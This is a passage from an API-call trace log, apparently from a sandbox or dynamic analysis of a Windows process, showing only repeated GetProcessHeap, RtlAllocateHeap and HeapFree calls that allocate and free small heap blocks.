Size=0x100) returned 0x32f6d10 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.609] GetProcessHeap () returned 0x540000 [0063.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.609] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.610] GetProcessHeap () returned 0x540000 [0063.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.610] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.611] GetProcessHeap () returned 0x540000 [0063.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.611] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.612] GetProcessHeap () returned 0x540000 [0063.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.613] GetProcessHeap () returned 0x540000 [0063.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.614] GetProcessHeap () returned 0x540000 [0063.614] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.615] GetProcessHeap () returned 0x540000 [0063.615] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.616] GetProcessHeap () returned 0x540000 [0063.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.617] GetProcessHeap () returned 0x540000 [0063.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.617] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.618] GetProcessHeap () returned 0x540000 [0063.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.618] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.619] GetProcessHeap () returned 0x540000 [0063.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.619] 